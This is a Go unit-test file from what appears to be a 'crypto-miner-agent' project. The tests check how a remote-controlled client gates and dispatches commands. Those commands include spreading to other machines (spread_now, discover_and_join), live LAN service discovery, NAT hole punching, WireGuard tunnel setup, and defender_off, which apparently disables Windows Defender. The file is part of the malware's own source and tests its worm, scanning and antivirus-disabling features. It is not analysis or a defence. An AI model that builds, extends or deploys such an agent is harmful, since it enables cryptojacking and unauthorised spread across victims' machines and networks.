package client import ( "encoding/json" "runtime" "strings" "sync" "testing" "time" "crypto-miner-agent/config" ) func TestAllowRemoteActionHolePunch(t *testing.T) { c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{HolePunch: false}}} ok, reason := c.allowRemoteAction("hole_punch") if ok || reason == "" { t.Fatalf("expected hole punch blocked without forge flag") } c.cfg.HolePunch = true ok, reason = c.allowRemoteAction("hole_punch") if !ok || reason != "" { t.Fatalf("expected hole punch allowed: ok=%v reason=%q", ok, reason) } } func TestAllowRemoteActionSpread(t *testing.T) { c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}} ok, _ := c.allowRemoteAction("spread_now") if ok { t.Fatal("spread_now should require auto_spread or remote_aggressive") } c.cfg.RemoteAggressive = true ok, _ = c.allowRemoteAction("spread_now") if !ok { t.Fatal("spread_now should allow with remote_aggressive") } } func TestParsePortArg(t *testing.T) { if parsePortArg("", 8989) != 8989 { t.Fatal("empty should fallback") } if parsePortArg("443", 8989) != 443 { t.Fatal("443 expected") } if parsePortArg("bad", 8989) != 8989 { t.Fatal("invalid should fallback") } } func TestPathTracerAllowRemoteActionRecon(t *testing.T) { c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}} for _, action := range []string{ "wg_setup", "wg_configure", "wg_teardown", "wg_status", "service_discover", } { ok, reason := c.allowRemoteAction(action) if !ok || reason != "" { t.Fatalf("%s should be allowed without forge flags: ok=%v reason=%q", action, ok, reason) } } } func TestPathTracerAllowRemoteActionDiscoverAndJoinGate(t *testing.T) { c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}} ok, reason := c.allowRemoteAction("discover_and_join") if ok || reason == "" { t.Fatalf("discover_and_join should require auto_spread or remote_aggressive: ok=%v reason=%q", ok, reason) } c.cfg.RemoteAggressive = true ok, reason = c.allowRemoteAction("discover_and_join") if !ok || reason != "" { t.Fatalf("discover_and_join allowed with remote_aggressive: ok=%v reason=%q", ok, reason) } } func TestPathTracerCommandWgSetupRoutes(t *testing.T) { if runtime.GOOS == "windows" { t.Skip("wg_setup invokes UPnP on Windows — routing covered by wg_status/configure tests") } var ( mu sync.Mutex gotAct string gotOK bool gotMsg string ) c := newTestClient(t) c.commandResultHook = func(action string, success bool, message string) { mu.Lock() gotAct, gotOK, gotMsg = action, success, message mu.Unlock() } if !c.handleAggressiveCommand("wg_setup", 0, "", "", "") { t.Fatal("wg_setup should be handled by handleAggressiveCommand") } deadline := time.Now().Add(2 * time.Second) for { mu.Lock() ready := gotAct != "" mu.Unlock() if ready || time.Now().After(deadline) { break } time.Sleep(5 * time.Millisecond) } mu.Lock() act, ok, msg := gotAct, gotOK, gotMsg mu.Unlock() if act != "wg_setup" { t.Fatalf("action=%q", act) } if !ok { t.Fatalf("wg_setup should succeed at dispatch layer, got msg=%q", msg) } var result WGSetupResult if err := json.Unmarshal([]byte(msg), &result); err != nil { t.Fatalf("wg_setup result must be JSON: %v msg=%q", err, msg) } if result.PublicKey == "" && result.Error == "" { t.Fatalf("expected public_key or error in wg_setup JSON: %+v", result) } } func TestPathTracerCommandServiceDiscoverRoutes(t *testing.T) { if testing.Short() { t.Skip("service_discover performs live LAN probes") } var ( mu sync.Mutex gotAct string gotOK bool gotMsg string ) c := newTestClient(t) c.commandResultHook = func(action string, success bool, message string) { mu.Lock() gotAct, gotOK, gotMsg = action, success, message mu.Unlock() } done := make(chan struct{}) go func() { defer close(done) if !c.handleAggressiveCommand("service_discover", 0, "1", "", "") { t.Error("service_discover should be handled") } }() select { case <-done: case <-time.After(8 * time.Second): t.Skip("service_discover LAN scan exceeded 8s in this environment") } mu.Lock() act, ok, msg := gotAct, gotOK, gotMsg mu.Unlock() if act != "service_discover" || !ok { t.Fatalf("result: action=%q ok=%v", act, ok) } if msg == "" || !strings.Contains(msg, "{") { t.Fatalf("service_discover should return JSON payload, got %q", msg) } } func TestPathTracerCommandWgConfigureBadPayload(t *testing.T) { var ( mu sync.Mutex gotOK bool gotMsg string ) c := newTestClient(t) c.commandResultHook = func(_ string, success bool, message string) { mu.Lock() gotOK, gotMsg = success, message mu.Unlock() } if !c.handleAggressiveCommand("wg_configure", 0, "", "", "not-json") { t.Fatal("wg_configure should be handled") } if gotOK || !strings.Contains(gotMsg, "bad wg config payload") { t.Fatalf("got ok=%v msg=%q", gotOK, gotMsg) } } func TestDefenderOffRequiresRemoteAggressive(t *testing.T) { c := newTestClient(t) c.cfg.RemoteAggressive = false ok, reason := c.allowRemoteAction("defender_off") if ok || reason == "" { t.Fatalf("expected defender_off gated without remote_aggressive") } c.cfg.RemoteAggressive = true ok, reason = c.allowRemoteAction("defender_off") if !ok || reason != "" { t.Fatalf("expected defender_off allowed: ok=%v reason=%q", ok, reason) } } func TestDefenderOffErrorPathNonWindows(t *testing.T) { if runtime.GOOS == "windows" { t.Skip("Windows success/failure paths tested in deploy/defender_windows_test.go") } c := newTestClient(t) c.cfg.RemoteAggressive = true var gotAct string var gotOK bool var gotMsg string c.commandResultHook = func(action string, success bool, message string) { gotAct, gotOK, gotMsg = action, success, message } if !c.handleAggressiveCommand("defender_off", 0, "", "", "") { t.Fatal("defender_off should be handled") } if gotAct != "defender_off" { t.Fatalf("action=%q", gotAct) } if gotOK { t.Fatalf("expected failure on non-Windows, msg=%q", gotMsg) } if !strings.Contains(gotMsg, "Windows-only") && !strings.Contains(gotMsg, "defender disable failed") { t.Fatalf("expected defender error in message, got %q", gotMsg) } } func TestPathTracerCommandWgStatusRoutes(t *testing.T) { var ( mu sync.Mutex gotAct string gotMsg string ) c := newTestClient(t) c.commandResultHook = func(action string, _ bool, message string) { mu.Lock() gotAct, gotMsg = action, message mu.Unlock() } if !c.handleAggressiveCommand("wg_status", 0, "", "", "") { t.Fatal("wg_status should be handled") } if gotAct != "wg_status" || gotMsg == "" { t.Fatalf("action=%q msg=%q", gotAct, gotMsg) } }